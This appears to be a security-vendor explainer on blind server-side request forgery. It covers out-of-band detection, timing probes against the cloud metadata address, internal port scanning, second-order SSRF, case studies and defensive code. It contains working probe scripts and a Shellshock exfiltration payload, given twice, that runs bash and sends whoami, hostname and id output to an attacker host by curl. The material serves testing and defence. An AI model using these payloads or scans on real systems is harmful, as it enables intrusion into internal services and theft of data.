Server makes a request to the attacker's URL but does not return the response; confirmed via OOB callbacks or DNS interactions.
TL;DR
169.254.169.254 (fast RST) vs 192.0.2.1 (30s timeout) without OOBBlind SSRF is a variant of server-side request forgery (CWE-918, OWASP A10:2021) where the server makes a back-end HTTP request to an attacker-controlled URL but does not return the response in the HTTP reply. The attacker cannot read the internal resource content directly — the feedback channel is severed.
Despite the absence of reflected content, blind SSRF is exploitable. Confirmation comes from out-of-band infrastructure: an attacker-controlled callback server records DNS lookups and HTTP hits, proving the server reached the injected URL. Once confirmed, the vulnerability enables internal port scanning via timing differentials, pivoting to RCE via vulnerable internal services, and second-order data exfiltration by encoding responses into OOB DNS subdomains.
Blind SSRF is more prevalent than basic SSRF in production applications because developers often suppress error messages and raw response bodies as a security measure. This makes the back-end fetch invisible in normal use — but the server is still making outbound requests.
The server processes a user-supplied URL input and makes an HTTP request, but the response handling discards the body. Common patterns: an async background job processes webhook delivery reports, a notification system fires callbacks without awaiting results, an analytics platform fetches external resource metadata for categorization.
The blind SSRF evidence tiers from weakest to strongest:
| Evidence | Status | Severity |
|---|---|---|
| DNS query received, no HTTP | POTENTIAL | LOW |
| >30% body/timing divergence | CONFIRMED | HIGH |
| HTTP GET/POST received | CONFIRMED | HIGH |
| Welch t-test p < 0.05 | CONFIRMED | HIGH |
| Internal data in response | CONFIRMED | HIGH |
| Sensitive data in OOB body | CONFIRMED | CRITICAL |
DNS-only is never promoted to CONFIRMED. Infrastructure components (email validators, TLS verification, preflight checks) routinely resolve hostnames without making HTTP requests — DNS-only without HTTP follow-up is insufficient for a confirmed finding.
The primary detection technique. Inject a unique OOB URL per parameter:
# Interactsh — generate unique URL per parameter
interactsh-client -server https://interactsh.com
# → Generated URL: abc123xyz.oast.fun
# Inject in request
POST /api/notifications HTTP/1.1
Content-Type: application/json
{"webhook_url": "https://abc123xyz.oast.fun/param=webhook_url"}
# Poll interactions — HTTP callback confirms blind SSRF
curl https://interactsh.com/api/interactions/abc123xyz
# → {"protocol":"HTTP","remote-address":"52.14.x.x","raw-request":"GET /param=webhook_url HTTP/1.1\nHost: abc123xyz.oast.fun\n..."}When OOB infrastructure is unavailable or firewalled, compare response times for two targets:
http://169.254.169.254/ — on AWS EC2: fast TCP RST (connection refused, ~5ms)http://192.0.2.1/ — RFC 5737 documentation IP, guaranteed unreachable, 30s SYN-timeoutimport time
import requests
import statistics
def timing_ssrf_test(endpoint: str, param: str) -> bool:
"""Returns True if timing differential suggests SSRF to 169.254.169.254."""
# Control: RFC 5737 unreachable IP
control_times = []
for _ in range(5):
t0 = time.monotonic()
try:
requests.get(endpoint, params={param: "http://192.0.2.1/"}, timeout=35)
except Exception:
pass
control_times.append(time.monotonic() - t0)
# Payload: AWS IMDS
payload_times = []
for _ in range(5):
t0 = time.monotonic()
try:
requests.get(endpoint, params={param: "http://169.254.169.254/"}, timeout=35)
except Exception:
pass
payload_times.append(time.monotonic() - t0)
# Welch's t-test
from scipy import stats
t_stat, p_value = stats.ttest_ind(payload_times, control_times, equal_var=False)
return p_value < 0.05 # significant difference = server attempted connectionA statistically significant timing gap means the server reached out to 169.254.169.254 (which returns quickly on EC2 — TCP RST) compared to the unreachable RFC documentation IP (which times out). This confirms SSRF without any OOB callback.
Use response time differences to map the internal network:
# Ports that are open return quickly (TCP accept or RST)
# Ports that are closed return "connection refused" quickly
# Ports that are filtered timeout slowly (~30s)
# This reveals internal topology without any response content
open_ports = []
for port in [22, 80, 443, 3000, 6379, 8080, 9200, 9090, 2375, 2379]:
t0 = time.monotonic()
requests.get(target, params={"url": f"http://127.0.0.1:{port}/"}, timeout=5)
elapsed = time.monotonic() - t0
if elapsed < 2.0: # fast = port exists (open or refused)
open_ports.append(port)The payload is stored by the application at endpoint A and executed asynchronously by a background worker that processes stored URLs. The OOB callback arrives minutes or hours after the original submission.
Detection requires a multi-signal correlation model:
# Step 1: Store payload at /api/profile (storage endpoint)
POST /api/profile HTTP/1.1
{"avatar_url": "https://abc123.oast.fun/second-order"}
# Step 2: Trigger processing at /api/process-avatars (trigger endpoint)
POST /api/process-avatars HTTP/1.1
{}
# OOB callback arrives ~30s later from application server IP
# Confirms async second-order SSRFCVE-2025-6454 — GitLab CE/EE (CVSS 8.5, CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) — The webhook custom header feature (introduced in GitLab 16.11) did not sanitize header name values against CRLF sequences. An authenticated Developer+ user could inject \r\n sequences into custom header names, inserting arbitrary HTTP headers into outbound webhook payloads. In proxy-based deployments, these injected headers altered internal request routing — achieving blind SSRF to internal services and metadata endpoints. Affected GitLab 16.11 through 18.3.1; fixed in 18.1.6, 18.2.6, 18.3.2 (July 2025).
HackerOne #1300585 — Elastic — Blind SSRF used as a pivot for RCE via a secondary vulnerability in an internal microservice. The blind SSRF alone was insufficient for data exfiltration, but when combined with a vulnerable internal service, it became an RCE chain. This is the canonical example of why blind SSRF findings should not be dismissed as low-impact.
HackerOne #3176157 — PortSwigger Web Security ($2,000 bounty) — DNS rebinding SSRF confirmed via send_http1_request tool. The report demonstrates that even security-focused organizations can have blind SSRF in internal tooling. The finding was confirmed via DNS interaction first, then elevated to HTTP callback.
Shellshock Chain (CVE-2014-6271) — Blind SSRF → RCE: if an internal server runs Bash-based CGI with Shellshock, inject via SSRF with a malicious User-Agent:
User-Agent: () { :;}; /bin/bash -c 'curl https://attacker.oast.fun/$(whoami)/$(hostname)'The command executes on the internal server; output arrives at the OOB listener, confirming RCE via blind exfiltration. PortSwigger has an active lab for this chain.
https://<uid>.oastify.com/[param-name].http://169.254.169.254/ vs http://192.0.2.1/ across 5 samples.# Interactsh CLI — self-hosted OOB
interactsh-client -server https://interactsh.com -v
# Generates: xyz123.oast.fun
# Test endpoint
curl -X POST https://target.com/api/webhook-test \
-H "Content-Type: application/json" \
-d '{"url": "https://xyz123.oast.fun/webhook-test"}'
# Poll for interactions (or watch CLI output)BreachVex assigns one unique out-of-band callback token per SSRF parameter candidate (up to 10 per request), fires the probes concurrently, waits briefly, then polls each token independently. This per-parameter attribution model pinpoints the exact parameter that triggered the callback — unlike shared-token approaches that report "target URL" generically. When the out-of-band channel is unreachable, findings are flagged as unconfirmed with a note for manual verification.
The most reliable fix for blind SSRF is to eliminate the outbound request entirely. If the feature only needs metadata from a URL (title, favicon), run this logic in a client-side preview component instead.
import asyncio
import ipaddress
import socket
import urllib.parse
import httpx
ALLOWED_ORIGINS = frozenset({"https://api.partner.com", "https://hooks.slack.com"})
async def validated_async_fetch(url: str) -> bytes:
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("Disallowed scheme")
origin = f"{parsed.scheme}://{parsed.hostname}"
if origin not in ALLOWED_ORIGINS:
raise ValueError(f"Host not in allowlist: {parsed.hostname}")
# DNS resolution validation
host = parsed.hostname.rstrip(".")
results = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP)
for (_, _, _, _, sockaddr) in results:
ip = ipaddress.ip_address(sockaddr[0])
if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped:
ip = ip.ipv4_mapped
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError(f"Resolved to private IP: {ip}")
async with httpx.AsyncClient(follow_redirects=False, timeout=10.0) as client:
resp = await client.get(url)
# Do NOT log or return the response body — discard it
return resp.status_code # return only what the caller needsFor blind SSRF, egress monitoring is critical since the attack is invisible in application logs:
# AWS CloudTrail + CloudWatch — alert on IMDS access from application EC2
rule:
event_source: ec2.amazonaws.com
event_name: DescribeInstanceMetadata
source_ip_address: !starts_with "169.254.169.254" # external source querying IMDS
alert: "Potential SSRF to IMDS from non-metadata IP"Second-order blind SSRF is almost never caught by automated scanners. The canonical test: inject a canary OOB URL in every data field that might be processed asynchronously (avatar URLs, feed URLs, webhook URLs, import links). Return 24 hours later and check your OOB listener — delayed callbacks indicate async processing jobs consuming stored URLs.
Blind SSRF is a variant of CWE-918 where the server makes an outbound HTTP request to an attacker-controlled URL but does not include the response in the HTTP reply. The attacker cannot read the internal content directly — confirmation requires an out-of-band callback server that records DNS lookups or HTTP hits.
Inject the Burp Collaborator payload URL (e.g., https://uniqueid.oastify.com/) as the parameter value. Check the Collaborator panel for DNS queries (2 expected from resolver chain) and HTTP callbacks. An HTTP callback confirms the server made an outbound request — that is exploitable blind SSRF.
No. DNS-only interaction (without an HTTP callback) should be classified as POTENTIAL, not CONFIRMED. Many infrastructure components — email validators, TLS certificate verification, connection pre-flight — resolve hostnames without making HTTP requests. DNS-only alone does not prove exploitable SSRF.
Interactsh (ProjectDiscovery) is an open-source OOB interaction server. It provides DNS, HTTP, SMTP, LDAP, and SMB listeners. Unlike Burp Collaborator (Burp Suite Pro only), Interactsh can be self-hosted (interactsh-server), is free, and integrates with automated scanners. Public instances are available at oast.fun, oast.live, oast.site, oast.pro.
Second-order SSRF occurs when the attacker's URL is stored at one endpoint and the HTTP request is made asynchronously by a background worker triggered at a different endpoint. The callback arrives minutes or hours after the original injection — detection requires a deferred polling model with token-based attribution.
Compare response time for a payload targeting 169.254.169.254 (fast TCP RST on EC2) vs RFC 5737 documentation IP 192.0.2.1 (guaranteed unreachable, 30s SYN-timeout). A statistically significant difference (Welch t-test p < 0.05) confirms the server attempted a connection — no OOB infrastructure needed.
CVE-2025-6454 (CVSS 8.5) — GitLab CE/EE webhook custom header CRLF injection allowed injecting arbitrary headers in outbound webhook requests, enabling blind SSRF to internal services via header smuggling in proxy-based deployments. Affected GitLab 16.11 through 18.3.1, fixed in July 2025.
Yes. The Shellshock chain (CVE-2014-6271) pivots blind SSRF to RCE: inject SSRF to reach a Bash-based CGI on an internal server with User-Agent: () { :;}; /bin/bash -c 'curl attacker.com/$(id)'. The command output arrives at the attacker's OOB listener — RCE confirmed via blind exfiltration.